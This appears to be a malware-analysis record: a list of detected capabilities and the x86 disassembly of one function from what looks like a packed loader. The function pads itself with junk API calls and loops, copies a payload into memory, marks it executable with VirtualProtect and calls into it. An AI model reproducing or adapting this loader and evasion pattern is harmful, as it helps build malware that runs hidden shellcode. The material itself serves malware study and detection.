Function at 0x405650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x424004]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalLock]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov dword [esp + 0x10], 0x3661b338
cmp dword [0x46bc2c], 0xc31
jne 0x4056aa
push 0
call esi
xor eax, eax
lea edx, [esp + 0x14]
push edx
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
push eax
mov dword [esp + 0x20], eax
call edi
call ebx
dec dword [esp + 0x10]
jne 0x405681
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x46bc2c]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4056d5
mov ecx, dword [0x425934]
mov dword [0x46bfb4], ecx
cmp eax, 0x3c
jne 0x4056e2
push ebx
call edi
mov eax, dword [0x46bc2c]
inc esi
cmp esi, 0x5f6c74
jl 0x4056c1
cmp eax, 0x7c
jne 0x405729
push ebx
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
cmp eax, 0x110a
jne 0x40578c
push ebx
mov dword [0x46bc20], ebx
mov dword [0x46bc24], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.newayayupamakosacuwapawovinecuzu
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor esi, esi
cmp dword [0x46bc2c], ebx
jbe 0x4057dc
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x46bfb4]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
cmp dword [0x46bc2c], 0x5ab
mov ecx, dword [esp + 0xc]
mov dl, byte [ecx + esi]
mov eax, dword [0x46b950]
mov byte [eax + esi], dl
jne 0x4057d3
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x46bc2c]
jb 0x4057a1
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x46bc2c]
mov eax, dword [0x46b950]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055c0
call fcn.00405470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea esp, [esp]
lea ecx, [esp + 0x2c]
push ecx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405843
cmp dword [esp + 0x34], 0xf5bed7
jne 0x40584c
inc esi
cmp esi, 0x1ece7a52
jl 0x405820
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x12e6c3
jne 0x40586d
call fcn.00405440
cmp dword [0x46bc2c], 0x3dc
mov dword [0x46b954], 0x8e46a6f0
jne 0x405896
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
push edx
push edx
mov dword [esp + 0x24], edx
call edi
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405860
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret